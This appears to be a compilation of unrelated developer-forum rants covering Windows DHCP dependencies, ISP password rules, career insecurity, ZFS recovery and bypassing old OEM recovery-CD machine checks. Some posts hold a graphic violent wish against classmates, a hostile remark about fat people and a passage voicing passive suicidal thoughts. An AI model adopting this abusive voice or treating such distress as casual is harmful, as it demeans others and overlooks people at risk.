Yesterday, I finally engaged MS support. Priyank remoted into my machine and attempted all the steps I had already tried. I just let him go, so he could get through his checklist and get to the resolution steps. Well, his checklist began and ended with those steps, and he started rather insistently telling me that I had to reinstall, and that he had to do it for me. I told him no thank you, "I know how to reinstall windows, and I'll do it when I'm ready."

In his investigation though, I did notice that he opened MS Edge and tried to load Bing to search for something. But Edge had no connection. No pages would load. I didn't take any special notice of it at the time though, because of the argument I was having with him about reinstalling. And it was no great loss to me that Edge wasn't working, because that was literally the first time it'd ever been launched on that computer.

We got off the phone and I gave him top marks in the CS survey that was sent, as it appeared there was nothing he could do. It wasn't until a couple hours later that I remembered the connectivity problem. I went back and checked again. Edge couldn't load anything. Firefox, the ping command, Steam, Vivaldi, parsec and RDP all worked fine. The Windows Store couldn't connect either. That was when it occurred to me that its was likely that Windows Update was just unable to reach the internet.

As I have no problem whatsoever with MS services being unable to call home, I began trying to set up an on-demand proxy for use when I want to update, and I noticed that when I fill out the proxy details in Internet Options, or in Windows 10's more windows10-ish UI for a system proxy, the "save" button didn't respond to clicks. So I looked that problem up, and saw that it depends on a service called WinHttpAutoProxySvc, which I found itself depends on something called IP Helper, which led me to the root cause of all my issues: IP Helper now depends on the DHCP Client service, which I have explicitly disabled on non-wifi Windows installs since the '90s.

Just to see, I re-enabled DHCP Client, and boom! Everything came back on. Edge, the MS Store, and Windows Update all worked. So I updated, went through a couple reboots-- because that's the name of the game with windows update --and had a fully updated machine.

It occurred to me then that this is probably how MS sends all its spy data too, and since the things I actually use work just fine, I disabled DHCP Client again. I figure that's easier than navigating an intentionally annoying menu tree of privacy options that changes and resets with every major update.

But holy shit, microsoft! How can you hinge the entire system's OS connectivity on something that not everybody uses?

My workstation; My main development PC sports an i7-4790, GTX 970, a 128 GB SSD, and two 1TB HDD's. I run Windows 10 and I have Ubuntu 16.04 LTS. Other than that nothing special!

Seriously, fuck that incompetent ISP of mine.

Stores passwords in fucking plaintext. Does VoIP calling in plaintext! Passwords are sent over postal mail! Passwords are at least not sent in plain via email anymore when you want to reset them. The password reset form, "cannot contain `", "cannot contain "", "cannot contain '", "must contain a special character" because why the fuck not mess with people's password manager's password generation function over our own incompetence, right?! And showing all those errors for a single password? Eh, no. Let's just show one error that applies to whatever password you've given at that time. JUST ONE, because "reasons"! And to top it all off, when I finally made myself a nice password with some padding to remove unwanted chars and put that in my password store and on the website. THE BLOODY THING CAN'T EVEN FUCKING LOGIN?!

Now I ain't no ISP, but being a sysadmin clearly isn't a requirement when you're going to apply for work at an ISP, THAT DOES NOTHING BUT FUCKING SYSADMIN STUFF!!! Incompetent pieces of SHIT!!!

I forged a katana once, under the supervision of a swordsmith. Nothing super special like damascus patterning or anything, but the cutting edge was pretty sharp.

Ugh sorry, lame word jokes.

In terms of software...

Microsoft Office Ribbon (cutting edge at the time, lol). Only as a maintenance drone on a bunch of manual search-and-replace work and merge conflict resolving.

Ariane 6 family of rockets (Welding X-rays and other DICOM quality assurance).

Software for continuous flow chemistry, developing microfluidic PCBs to perform Elisa immunology assays during the Mexican flu outbreak. Idea was to eliminate the need for microplates, expensive robots, microwell washers, etc — just have blood plasma, enzymecoated nanoparticles, antigen, conjugated detection reagents and substrates flowing programmatically through a PCB with a spectrophotometer built in.

As a developer, I constantly feel like I'm lagging behind.

Long rant incoming.

Whenever I join a new company or team, I always feel like I'm the worst developer there. No matter how much studying I do, it never seems to be enough.

Feeling inadequate is nothing new for me, I've been struggling with a severe inferiority complex for most of my life. But starting a career as a developer launched that shit into overdrive.

About 10 years ago, I started my college education as a developer. At first things were fine, I felt equal to my peers. It lasted about a day or two, until I saw a guy working on a website in notepad. Nothing too special of course, but back then as a guy whose scripting experience did not go much farther than modifying some .ini files, it blew my mind. It went downhill from there.

What followed were several stressful, yet strangely enjoyable, years in college where I constantly felt like I was lagging behind, even though my grades were acceptable. On top of college stress, I had a number of setbacks, including the fallout of divorcing parents, childhood pets, family and friends dying, little to no money coming in and my mother being in a coma for a few weeks. She's fine now, thankfully.

Through hard work, a bit of luck, and a girlfriend who helped me to study, I managed to graduate college in 2012 and found a starter job as an Asp.Net developer.
My knowledge on the topic was limited, but it was a good learning experience, I had a good mentor and some great colleagues. To teach myself, I launched a programming tutorial channel. All in all, life was good. I had a steady income, a relationship that was already going for a few years, some good friends and I was learning a lot.

Then, 3 months in, I got diagnosed with cancer.

This ruined pretty much everything I had built up so far. I spend the next 6 months in a hospital, going through very rough chemo.

When I got back to working again, my previous Asp.Net position had been (understandably) given to another colleague. While I was grateful to the company that I could come back after such a long absence, the only position available was that of a junior database manager. Not something I studied for and not something I wanted to do each day neither.

Because I was grateful for the company's support, I kept working there for another 12 - 18 months. It didn't go well. The number of times I was able to do C# jobs can be counted on both hands, while new hires got the assignments, I regularly begged my PM for.

On top of that, the stress and anxiety that going through cancer brings comes AFTER the treatment. During the treatment, the only important things were surviving and spending my potentially last days as best as I could. Those months working was spent mostly living in fear and having to come to terms with the fact that my own body tried to kill me. It caused me severe anger issues which in time cost me my relationship and some friendships.

Keeping up to date was hard in these times. I was not honing my developer skills and studying was not something I'd regularly do. 'Why spend all this time working if tomorrow the cancer might come back?'

After much soul-searching, I quit that job and pursued a career in consultancy. At first things went well. There was not a lot to do so I could do a lot of self-study. A month went by like that. Then another. Then about 4 months into the new job, still no work was there to be done. My motivation quickly dwindled.

To recuperate the costs, the company had me do shit jobs which had little to nothing to do with coding like creating labels or writing blogs. Zero coding experience required. Although I was getting a lot of self-study done, my amount of field experience remained pretty much zip.

My prayers asking for work must have been heard because suddenly the sales department started finding clients for me. Unfortunately, as salespeople do, they looked only at my theoretical years of experience, most of which were spent in a hospital or not doing .Net related tasks.
Ka-ching. Here's a developer with four years of experience. Have fun.

Those jobs never went well. My lack of experience was always an issue, no matter how many times I told the salespeople not to exaggerate my experience. In the end, I ended up resigning there too.

After all the issues a consultancy job brings, I went out to find a job I actually wanted to do. I found a .Net job in an area little traffic. I even warned them during my intake that my experience was limited, and I did my very best every day that I worked here.

It didn't help. I still feel like the worst developer on the team, even superseded by someone who took photography in college. Now on Monday, they want me to come in earlier for a talk.

Should I just quit being a developer? I really want to make this work, but it seems like every turn I take, every choice I make, stuff just won't improve. Any suggestions on how I can get out of this psychological hell?

My Sunday Morning until afternoon. FML. So I was experiencing nightly reboots of my home server for three days now. Always at 3:12am strange thing. Sunday morning (10am ca) I thought I'd investigate because the reboots affected my backups as well. All the logs and the security mails said was that some processes received signal 11. Strange. Checked the periodics tasks and executed every task manually. Nothing special. Strange. Checked smart status for all disks. Two disks where having CRC errors. Not many but a couple. Oh well. Changing sata cables again 🙄. But those CRC errors cannot be the reason for the reboots at precisely the same time each night. I noticed that all my zpools got scrubbed except my root-pool which hasn't been scrubbed since the error first occured. Well, let's do it by hand: zpool scrub zroot....Freeze. dafuq. Walked over to the server and resetted. Waited 10 minutes. System not up yet. Fuuu...that was when I first guessed that Sunday won't be that sunny after all. Connected monitor. Reset. Black screen?!?! Disconnected all disks aso. Reset. Black screen. Oh c'moooon! CMOS reset. Black screen. Sigh. CMOS reset with a 5 minute battery removal. And new sata cable just in cable. Yes, boots again. Mood lightened... Now the system segfaults when importing zroot. Good damnit. Pulled out the FreeBSD bootstick. zpool import -R /tmp zroot...segfault. reboot. Read-only zroot import. Manually triggering checksum test with the zdb command. "Invalid blckptr type". Deep breath now. Destroyed pool, recreated it. Zfs send/recv from backup. Some more config. Reboot. Boots yeah ... Doesn't find files??? Reboot. Other error? Undefined symbols???? Now I need another coffee. Maybe I did something wrong during recovery? Not very likely but let's do it again...recover-recover. different but same horrible errors. What in the name...? Pulled out a really old disk. Put it in, boots fine. So it must be the disks. Walked around the house and searched for some new disks for a new 2 disk zfs root mirror to replace the obviously broken disks. Found some new ones even. Recovery boot, minimal FreeBSD Install for bootloader aso. Deleted and recreated zroot, zfs send/recv from backup. Set bootfs attribute, reboot........
It works again. Fuckit, now it is 6pm, I still haven't showered. Put both disks through extensive tests and checked every single block. These disks aren't faulty. But for some reason they froze my system in a way so that I had to reset my BIOS and they had really low level data errors....? I Wonder if those disks have a firmware problem? So that was most of my Sunday. Nice, isn't it? But hey: calm sea won't make a good sailor, right?

The company I am currently working for is partnering with another startup. Nothing special about that. We should integrate their API into our system. I wasn't involved in the process when it came to checking there API and if it would work with our Systems. The Person who did that already left the company so I was left behind with some internal documentation. In that Documentation is already written that API is basically trash....

After I started integrating the API I found more and more flaws in the design. They are not sending any responses that would help, when a param is missing or the authentication isn't correct, only 500's . I got some documentation from the partner company so i thought it will be fine as long as the Documentation would be accurate. Turns out the documentation isn't even close to be up to date. Wrong content types wrong endpoints, wrong naming. Basically we could not work with that. We shortly contacted the partner Company. After a few WEEKS we got a response that they updated the Documentation what was right but still not everything was correct. At this point I lost my mind. I researched a little bit about them, the company is founded from 2 young people who basically came strait out of the University and doest have any experience or idea how to build an API. I investigated a little bit there websites.

They have an Admin panel on the base domain from their API but it is only accessible via HTTP. Like WTF , They use HTTP for an Admin Panel this must be a joke right?

They use Cloudflare without a HTTP to HTTPS redirection ???

I really had not that much time to research in there website but if I find these things in 5 minutes I don't want to know what I can find in like an hour.

At the end we will still use them as partners because surprise surprise our company already sold the product that uses their API.

I know that I will be the person who has to help fixing this shit when it breaks and it will break 1000% JUST FUCK THIS SHIT. FUCK THE PARTNER COMPANY. FUCK THERE API.

Why am I such an average ?

It's just a sad realisation. Nobody cares but I wanna send this out there, just to write thoughts.. I am 18 in 3rd year of high school (grammar school so nothing IT related, basically waste of time) and in IT I'm all self taught but I feel like I could be better if I just didn't [something]..

I feel like I wanna learn so many things but when I look at you, it seems like a common problem in the IT sphere so hey, average guy joining the club.

I also feel dumb when programming. I didn't manage to learn C++ in it's entirety because to really accomplish something, you've got so many ways to do it and finding the best one requires deep understanding of the tools you've got at your disposal with the language and I feel like I'm not capable of this(self learn, in school/Uni that's different story).. But many (most) of you are. I've tried many coding challenges and when I got it working, I just saw how someone did it in one line just by layering functions that I've never heard of..

Also, we've got kinda specific national competition here in many fields including IT for high schools.. And the winners always do sometimes like "AI driven Life simulation" or "Self flying drone made from ATMega from scratch with 3D simulation in C# to it" or "Game engine" or whatever shit and it's always from grammar schools and never IT related schools.. They are like me. Maybe someone helped them, I don't know, but they are just so far away from me while I'm here struggling to get the basic level of math for any kind of machine learning..

Yeah I've written Neural Network from scratch in C but meh, honestly it's pretty basic stuff .. I'd rather understand derivatives which we're going to learn next year and I'm too lazy to learn it from khan academy because I always learn something else.. Like processing (actually codetrain started teaching tensorflow so that might be the light for me...) Or VHDL (guys you can create your own chip / CPU from scratch and it's not even hard and OMFG it's so fucking cool , full adder done yay) or RPi or commodore 64 assembly or game development with Godot and just meh..

I mean, this sounds exactly like not knowing what to do and doing nothing in the end. That was me like 6-12 months ago. Now I'm managing to pick 2-3 things and focus them and actually feel the progress.

But I lost track of the original point.. I didn't do anything special, every time I'm programming something, everyone does it better and I feel dumb. I will probably never do anything special, everyone around says "He's still learning he's genius" but they have no idea.

I mean, have you seen one of the newest videos on Google's YouTube channel (I openly hate them, but I will keep that away for now), something like "Sarah story" ? It's about girl that apparently didn't care about IT but self learned tensorflow on high school. I think it may be bullshit (like ALL of their videos ) but it's probably just fancied, not complete lie.

And again, here I am. I now C but I'm incapable of learning to program good which most of you did and are now doing for living. I'm incapable to do anything cool, just understanding what everybody else did and replicating it. I'm incapable of being clever.

Sorry, just misusing devrant to vent a bit

Nothing big, but the time I felt the most useful and awesome guy in the world was when I wrote a script creating PDF cover letters from a csv file with contacts names for my gf. A bit of Latex and python, a few hours to make it resilient to special characters, but the look of relief (she would have done it by hand) and admiration in her eyes truly made me feel proud :)

Cracking old recovery CDs for the 9x/2000/XP era shines some light into how companies operated and when concepts came to be in that time:

Packard Bell: An EXE checks that you're running on a Packard Bell machine and reboots if it's not. How do we bypass it? Easy: just fucking delete it. The files to reinstall Windows from scratch come from...
...
C:?
Yup. Turns out Packard Bell was doing the recovery partition thing all the way back to the 9x era, maybe even further. Files aren't even on the restore disc so if your partition table got fucked (pretty common because malware and disk corruption) you were totally fucked and needed to repurchase Windows. (My dad, at the time, only charged at-cost OEM prices for a replacement retail copy. He knew it was dumb so he never sold PB machines.)

Compaq:
Computer check? Nope, remove one line from a BATCH file and it's gone.

Six archives, named "WINA.ZIP" through "WINF.ZIP" (plus one or two extras for OEM software) hold Windows. Problematic? Well... only because they never put the password anywhere so the installer can't install them. (Some interesting on-disc technician-only utils, though!)

Dell:
If not a Dell machine, lock up. Cause? CONFIG.SYS driver masquerading as OAK (the common CD driver) doing the check, then chainloading the real OAK driver. Simple fix: replace the fake driver with the real one.

Issues?

Would I mention this one if there weren't?

Disc is mounted on N:. Subdirectories work, but doing anything in them (a DIR, trying to execute something, trying to view shit in EDIT.COM) kicked you back to the disc root.

Installer couldn't find machine manifest in the MAP folder (it wanted your PC's serial before it'd let you install, to make sure you have the correct recovery disc) so it asked for 12-digit alphanumeric serial. The defined serials in the manifest were something like "02884902-01" or similar (8-2, all numbers) and it couldn't read the file so it couldn't show the right format, nor check for the right type.

Bypassing that issue, trying to do the ACTUAL install process caused nothing to happen... as all BATCHes for install think the CD should be on X:.

Welp.

well that was fun. Now to test on-real-PC behavior, as VBOX and VMWare both don't like the special hardware shit it tries to use. (Why does a textmode GUI need GPU acceleration, COMPAQ?????)

Nothing special, just following the trend 😋

My girlfriend needed a flash drive to back up her Chromebook. I took an old 7g I had and formatted it to exfat (standard procedure here, nothing special). She plugged it in and had some issues with it, so I told her to see erase the drive from her Chromebook. Chromebook said it would delete all 4 terabytes (4tb) from the drive. Lol. Don't know how that happened, and was tempted to try it to see how it went, but did not want to mess up her laptop or wait days for a supposed 4 TB drive to format.

Tl;dr: girlfriends Chromebook thought a 7gb flash drive was 4tb

Nothing special

Perhaps more of a wishlist than what I think will actually happen, but:

- Everyone realises that blockchain is nothing more than a tiny niche, and therefore everyone but a tiny niche shuts up about it.
- Starting a new JS framework every 2 seconds becomes a crime. Existing JS frameworks have a big war, until only one is left standing.
- Developing for "FaaS" (serverless, if I must use that name) type computing becomes a big thing.
- Relational database engines get to the point where special handling of "big data" isn't required anymore. Joins across billions of rows doesn't present an issue.
- Everyone wakes up one day and realises that Wordpress is a steaming pile of insecure cow dung. It's never used again, and burns in a fire.

Working on my PiStation😁

It's basically a Raspberry Pi 4 in a PS2 housing. Nothing special😅

OS as weeddealers:
Windows has standard weed. Nothing special, but reliable.
Linux got a great selection, but you always gotta haggle with him for hours until something works out.
Mac sells oregano.

I have been working for my current employer about 3 years now. When I first got to work I was asked by another employee to work on an editor for certain types of files. We will call this employee Ed. Because his name is Ed.

Ed is a verifiable genius, and a genuinely great guy to work with. He is amazing with hardware and math. Ed has a need, or shall I say fetish. He wants an editor for some our proprietary files called "Settings files". They are just xml. Nothing special.

However, I have always had other priorities. We actually had a tense moment when I had to tell Ed my boss doesn't want me to work on the editor. I had started looking into working on the editor when my boss said stop working on this file. So since then it had become a running joke between Ed and myself. Well, I think it is funny, Ed smiles, but I know he wants this editor bad. Our boss even suggested at one time that Ed write this editor. He looked into it, but "other priorities" trumped this effort.

Okay, so now it has been 3 years and we still don't have this editor. Then I had an epiphany. Since Ed wants this editor I found an idea for the name of this program. "Settings Editor" is just too mundane. I now think it should be called: "Mr. Edit". I also found that the library we use for most of our development has text to speech built in. So when the program starts I can have it say: "Hello, I am Mr. Edit, the talking Settings Editor". I have never wanted to write this program so badly before. Muahahahahaha!

Will try to keep that one short.

So we have internal system for active QR codes, nothing really special, as you could imagine. I wrote it when I was beginner but it works and is heavly battle-tested.

Today JBOG (just bunch of guys) come in and try to BS me that something is showing up wrongly for someone.

I check things up, nothing looks out of the order, I go there, everything looks fine too, and they say that yeah but this printed certificate's QR dosen't match what some QR with this name is within the system...

Short invastigation. TL;DR, someone who was rendering/printing these certificates had bunch of these codes with names like

30. ABC
31. ABC
32. ABC

And just casually missclicked...

And to come to that conclusion they need fucking backend dev to confirm that code last 1.5 year didnt magically change, and to destroy their magical belief that it's code's fault.

No, someone fucking missclicked. Whole magic. Usually problem is between chair and keyboard, get fucking used to it. Now, having that settled, let me get back to my work.

Work setup, nothing too special

I have a guy sitting next to me in class. We were working on the same project. It's about rewriting a functioning mergesort algorithm in C and doing a presentation about that topic.

Now... the thing is that I was ill on that specific day when we got that project assigned. And he didn't tell me it either. I asked the whole class.
They just said that there was nothing special about that day. These fuckers.

Anyway...
Thé following week we had the same lesson again. Actually there were more than both of us. We were a group of 5 dudes.
3 of them barely have anything to do with programming at all. They just learn for the exams and have bad grades in programming.

Luckily, they already wrote the functioning sorting algorithm.
Since that is the case, I chose to review it to get deeper into that topic.

There were comments in English (we live in Germany) and these comments were written in a different style. My classmates would never comment in such a way.
It was a modified version copied from the internet. The whole source code.
The variables had names like j,k,b,u and so on. It was perfectly obfuscated.

Yesterday, I wasn't at college either.
I had to show up to a given time at a government bureau. They have been working on that project that day. So, I decided to ask them via a messenger, if they can give me the newest presentation files after 1 pm.

They said that they barely have anything to present. They would like to improvise they said.

"Fuck you all" I thought.
I'm done with these fucking illiterate humans.
I hope they all die in hell with satan having a ride on them. Stabbing them from behind right into their assholes and eating their ball sacks (if they have any).

Today is the presentation.
That's when I decided not to drive there during these specific lessons.

Most painful code error you've made?

More than I probably care to count.

One in particular where I was asked to integrate our code and converted the wrong value..ex

The correct code was supposed to be ...

var serviceBusMessage = new Message() {ID = dto.InvoiceId ...}

but I wrote ..

var serviceBusMessage = new Message() {ID = dto.OrderId ...}

At the time of the message bus event, the dto.OrderId is zero (it's set after a successful credit card transaction in another process)

Because of a 'true up' job that occurs at EOD, the issue went unnoticed for weeks. One day the credit card system went down and thousands of invoices needed to be re-processed, but seemed to be 'stuck', and 'John' was tasked to investigate, found the issue, and traced back to the code changes.

John: "There is a bug in the event bus, looks like you used the wrong key and all the keys are zero."
Me: "Oh crap, I made that change weeks ago. No one noticed?"
John: "Nah, its not a big deal. The true-up job cleans up anything we missed and in the rare event the credit card system goes down, like now. No worries, I can fix the data and the code."
<about an hour later I'm called into a meeting>
Mgr1: "We're following up on the credit card outage earlier. You made the code changes that prevented the cards from reprocessing?"
Me: "Yes, it was my screw up."
Mgr1: "Why wasn't there a code review? It should have caught this mistake."
Mgr2: "All code that is deployed is reviewed. 'Tom' performed the review."
Mgr1: "Tom, why didn't you catch that mistake."
Tom: "I don't know, that code is over 5 years old written by someone else. I assumed it was correct."
Mgr1: "Aren't there unit tests? Integration tests?"
Tom: "Oh yea, and passed them all. In the scenario, the original developers probably never thought the wrong ID would be passed."
Mgr1: "What are you going to do so this never happens again?"
Tom: "Its an easy addition to the tests. Should only take 5 minutes."
Mgr1: "No, what are *you* going to do so this never happens again?"
Me: "It was my mistake, I need to do a better job in paying attention. I knew what value was supposed to passed, but I screwed up."
Mgr2: "No harm no foul. We didn't lose any money and no customer was negativity affected. Credit card system may go down once, or twice a year? Nothing to lose sleep over. Thanks guys."

A week later Mgr1 fires Tom.

I feel/felt like a total d-bag.

Talking to 'John' later about it, turns out Tom's attention to detail and 'passion' was lacking in other areas. Understandable since he has 2 kids + one with special-needs, and in the middle of a divorce, taking most/all of his vacation+sick time (which 'Mgr1' dislikes people taking more than a few days off, that's another story) and 'Mgr1' didn't like Tom's lack of work ethic (felt he needed to leave his problems at home). The outage and the 'lack of due diligence' was the last straw.

The senior developer swore the server was responding with a 500 because I, the co-op, was definitely sending the 'wrong encoding' whenever I post special characters. He said, "I'm only taking your data and putting it straight into the database!!!"

I found out it was breaking because he was converting the JSON payload to a STRING and simplistically separating the keys and values by colons and double quotes. Yuuup. Nothing can go wrong there...

I really wish people would stop trying to make every day things sounds so fucking special, every apple influencer will call the iPhone X screen an 'organic LED display'... Is just a fucking OLED display, saying organic doesn't make it different...

It's super old technology now, nothing fancy about it -,-

My simple office setup, nothing special but it gets the job done.

Received feedback on a task I made for a job interview (I didn't get a technical interview).

The task was easy with nothing special about it that made me think if that's what the job is like, I don't want to work there. It was a simple web page with search functionality. I did the task anyway.

The feedback I got was useless. It said that I made a complex and an over-engineered solution.
What I made, mind you, was a one endpoint API and a single Vue.js component instead of using jQuery to update the results. That's it. OVER-ENGINEERED!

Complete waste of time.

Weirdest morning in a while:
- good morning!

_ good morning

* walk over to colleagues desk to see what he’s working on pure out of interest*

_what do you want?

-nothing just curious

_do you want to fight?

-wtf?

The more i work with fellow developers the more i realize the special kind of people we actually are.

First day of vacation, on a remote village cause of covid, after months of doing nothing special I made this :D
It's a keyboard to do combinations of keys (prototype) ...
Well, I made it to play sound effects in games (on voice chat)....
Ya, having a burn out fucks your motivation. At least I did something

I was flash developer once, it was great when macromedia was around, then adobe acquired them, now flash is gone.

Years are passing and most of industry is the same as always. Trying to drag you into this rat race of learning new amazing technologies, amazing projects that are actually doing same job as 50 years ago but using more memory and cpu cycles. Because all has it’s roots in algorithms from previous centuries.

So youngsters loose your best life time, be innovative by doing nothing more then copy paste from stackoverflow and duck typing shitty code.
Be a slave and sit in the amazing office, that has everything but not your real life that meanwhile is sucked by corporate squeezer till your last breath.
Be piece of shit that can be kicked around.

Watch youtube, facebook, instagram or whatever social network that shows you pictures that are fooling your mind that you’re someone special and you need this stuff.
Then be ready to suck some dicks to earn money and buy stuff you don’t need, live where you don’t want and do what you don’t like. You piece of shit.

Well that’s what disappoints me from my tech stack.

Now chill out, turn off your electronic gadgets, go out and enjoy real world.

Another day, another company that doesn’t live up to its own hype.

This time interviewing for a company that only want people who are willing to start with the language they currently know but learn other programming languages and not shy away from new things.

Brilliant, I’m up for that. I love learning and want to be at a place that values learning. I’ve got 20+ years of experience and I’ve learnt all sorts in that time to stay relevant. Currently I’m a c# dev, but I’ve worked on projects using JavaScript & Typescript, Angular, React etc. Done front end and back end, taught myself mongo and architecture. Point is that I have a proven track record of learning.

To cut a long story short, they give me a .net test. Nothing special about it. I have a 4 hour chat. And a week later I’m rejected because I don’t do Python. WTF?!

I thought this place was all about allowing people to learn if they were willing, not about what they know right now. I’m calling bullshit.

So I made this drawing tool thing in QB64...

I really gotta stop accepting food from other people

my birthday was the other day and my roommate wanted to get me something special to eat for free

I said I keep dreaming of the samosa salad from Indian places he would get and I would keep stealing a spoon full of to try (this was after I got sick and insensitive to food so I was cautious)

he insisted it was from this fast food place... that's weird. I don't think it was. he insists all Indian places have it on their menu but he just didn't know. and he was getting this fast food's place one and that's the one I liked. ok. I consent.

I go running, come back, shower, hungry and food arrived, so I scuff down half the samosa salad thing
now I feel like trash
and it tastes nothing like it
it has fucking BBQ sauce in it. no yogurt. it's supposed to be Indian. what the fuck, sweet-ass bqq sauce? the spiciness is some retarded white people taste. this isn't the punch of Indian food.
30% of the mass is cucumber. wat. there's fucking pomegranate seeds in it so you can't even chew it. what am I even eating. the samosa pieces are all soggy and not crunchy like I remember. the spiciness sucks. there's no yogurt to counteract it either. just pathetic

and now I feel like garbage. I feel sick to my stomach. because that BBQ sauce was a lot more sugar than you could taste.

I fucking hate my life. I hope I don't get sick from the food, cuz I have food insensitivities... and I knew before when I took spoonfuls of what he ordered they didn't effect me... but that wasn't this.

this fucker literally lied and used me to order food guilt-free under the pretense of "hey it's your birthday and I wanna get you a meal". and he orders disgusting fast food that isn't even food. "for me". while lying to me. me who can't even eat the damned cherries I love without my brain degrading because those are too much sugar. what the hell is wrong with this guy

I know I got downvoted for this before but fuck I hate fat people. I don't want to eat fast food. I want real food. I don't want to get sick off fake fucking BBQ sauce infused with disgusting sugar. all this guy does is make excuses for the food he wants to eat. maybe I'm just literally food insensitive watching him eat himself to death I don't know. I feel like puking

I swear nothing good anyone ever does for you is ever for you. people are rotten.

Same as the year before.
Trying hard to achieve good grades in school. Nothing special. The usual shit, as you can see...
Thanks for taking your time and read my unnecessary post anyways ;)

I turned down another women who was absolutely, 100% flirting with me, because, from what I can gather, she was trying to get out of a relationship with her current boyfriend, a military veteran.

I outright ignored her and then when that failed, I made our work relationship 100% about that, work.
Even though I'm friendly with everyone else.

I'm an absolute shit, aren't I? I feel genuinely bad.
I'm not sure if I did it out of a misplaced sense of honor for a dude who obviously has some ptsd, or because I don't feel like I'm able to connect with anyone anymore.

I feel like I'm alone in this world. Not, like, sexually or anything, but more like I don't want to burden anyone with the shit I'm going through. Like a man on a mission on a sinking ship, and it would be wrong to let anyone else on board.
Like a one-man shit-show, all singing, all dancing, driven to one end, with one purpose. And it'd be wrong to let anyone get attached, or invite anyone else in.

Fuck I got so many irons in the fire. I have an ARG in the works, a full game, a social platform that the code and marketing plan is laid out and I'm saving money for, two more games already planned, plus spending an in-ordinate amount of time with my father and sister and mother as they deal with the loss of my sister, plus volunteering to help the homeless, plus working, plus studying.

I barely sleep.

It's just me. I'm like a cruise missile heading to one destination, to some final destination, I just don't know what. And I don't let anyone in, because then they might see how fucking crazy I am, and how crazy my life is, and how crazy my goals are. Thats not a humblebrag. Thats more of a "wholly shit, I'm so in over my head, I'm fucking drowning" type thing. But I'm not giving up, I'm just going deeper.

And it feels like drowning but somehow I'm okay with it. Like I've passed the crux of loneliness, and settled for going for it all, alone, shooting out of orbit, and saying "fuck it all' to everything and everyone. They say "if you got everything you wanted, everything you wished for, you'd wish you hadn't, which is why god isn't a genie". And lately I've been thinking god doesn't exist, or doesn't care, because he's left it all up to me, and I've fucked it up good and proper, and am on my way to either nothing, or everything I've ever wanted.

Is this what happiness feels like? Or suicide?

I don't know. I mean I really don't. I don't want to die. I think I could stop existing and be okay with it. Having achieved at least a modicum of understanding the universe, at least accomplished something small but meaningful.
Or maybe I'm delusional, driven mad with the full comprehension of human floundering against a meandering existence.

I don't fucking know.

I feel like I'm spinning my wheels, so much, that even two weeks feels like a fucking eternity. I don't sleep anymore. When I do, I escape into my dreams, where I can fly, or float, and the people in my dreams tell me I'm living in the matrix and I believe them..in my dreams. Feel it even.

And when I wake up, the feeling persists. Leaves me in wonderland, for hours after waking.

And I have visions, of going homeless, like some buddha, all the time, and then I say "wake up J, you're fucking crazy! You want to go be some couch surfing homeless bum living off other's good graces? get the fuck outa here! While others suffer, schlep it at whatever job they work, day in day out, toil. In this economy? In this inflation? What a dishonest way of thinking. What a dishonest way of dreaming."

And yet I daydream. Because its the only escape there is from all the world has become.

And I bring joy to others, earnestly, vicariously, because its the closest joy I can feel, when I've become numb.

It is this quasi-permanent sense of alienation that permeates my whole world, a sort of invisible force field that separates me from others, even as I reach out to understand them, to comfort them, to smooth the corners off their world, so that they don't become like I have, something not entirely human, but...other.

Often when we meditate, long and hard enough,
at the center that emerges, at the center of ourselves, we find an abyss, a whole universe, devoid of anything, a perfect silence, mirroring back the cosmos, and other people. Observing, silent, irreducible, implacable.

Sometimes I feel like I don't exist. Sometimes I think others don't exist.

Very often I feel like nothing is real. And that I am playing some sort of game. Not like a video game per se, but that there is a bigger pattern, a hidden pattern to it all, just out of reach, and I'm reaching for it but understanding eludes me.

Not that the universe has made me for some special purpose, but merely that the universe observes me specifically, for no special purpose, other than that it can, whatever trivialities may impede or push forward my life.

As if the universe were bored.

I might be able to release my first application tomorrow. At least the first version.

Nothing special, be amazed if it gets much attention.

In short;

You specify any running processes you wish to forcefully close, in my case, games.

So any time these games start running, it's force closed.

The app also monitors the active window, of it's and IDE, like Visual Studio, it will add credit towards allowing those blocked processes to run.

Currently you get 1 credit for every minute you code.

I plan to refine it some more. And yes I know there's ways around it but, it was fun to make

So in the project I’m working on we were about to do a push to live, no major functionality just minor adjustments and nice to have stuff. One of the things I did was a reminder, nothing special just sends an email out if something hasn’t been done for 3 days and then sends an email every day following. Push to live and every thing goes fine with no issues. Day 1 there are no issues. Day 2 there are no issues. Day 3 and I’m inundated with people telling me that the emails are getting sent to practically everyone, shit. What have I done? What have I missed?
So I start looking at the live database hoping for a data problem, no such luck. I look at my code looking for something blatantly obvious but nothing. I start replicating the data but I can’t reproduce this bug and it’s annoying the hell out of me. I checked one of the emails that the client sent to us more thoroughly and seen that it was sent at 07:01. This is odd as our webjob runs at 1am so I start looking at environmental factors and started looking at release management, more out of hope than expectation. I check the staging environment and see that the webjob ran at 7:00. Coincidence I thought, the webjob gets packaged on the release pipeline and everything in the database was dummy data anyway but I’d better check anyway. The database was an exact copy of the live database, turns out a “senior developer” wanted to sanity check everything by running live data through the code so he copied the database over. It was fine for the first couple of days but the data was now 3 days out of date triggering my email code and I get hit with the shit storm. I’ve never met such an incompetent developer in my fucking life, functions 700 lines long, classes that are over 20000 lines, repetition every where and the only design patterns he’s used is when he picks up a child’s colouring book. I can live with the fact that he writes code like someone on their first day of University But copying a database because he wants to “visualise” the fucking data is absolutely farcical. No wonder the project is fucked with a “developer” (in the loosest possible use of the word) is at the helm.

So today, i talked to my manager about my burnout and she offered the extra resources to help my project. And if nothing goes wrong, i’m going to take leave for 2 weeks by next week.

My advice, we are human and developer is special human. So, talked to your manager or boss about your problem, it’s their job to help you on this.

On last thing, i hope you guys pray for me and i hope i can be a better person once i comeback. 👌

So I finished writing that GetSet.JS micro-library lol. I'm about to put it on GitHub.

It's nothing special; it's pretty useless, actually. But it's my first JS library, lol!

I'll probably be using it all the time though. It removes a lot of the mundanity of checking if an element exists before assigning a value to it.

I need to get this out there because you guys and gals are honestly the only people I can vent this to.

I’m working on a program for fun that’ll transfer files over sockets. Nothing too special. But this project is just boring me. I’m not getting any motivation even when I’m getting started. Which didn’t happen last project.

I have a general idea how I’m going to do it but I just can’t sit down and do it because I start overthinking about everything. Like how am I going to do this or that. How am I going to handle feature a, feature b, etc. And I’m just getting a headache and I’m not writing code and I’m JUST FUCKING STARING LIKE AN IDIOT. I don’t even know why it’s not inspiring me because I’ve always wanted to program a file transferring application of some kind and I still do.

I keep doing a bunch of small patches when I work on it and they work and improve it but I am hard on myself because it’s not one big feature or I didn’t work on it for hours. I’m always so fucking hard on myself fuck.

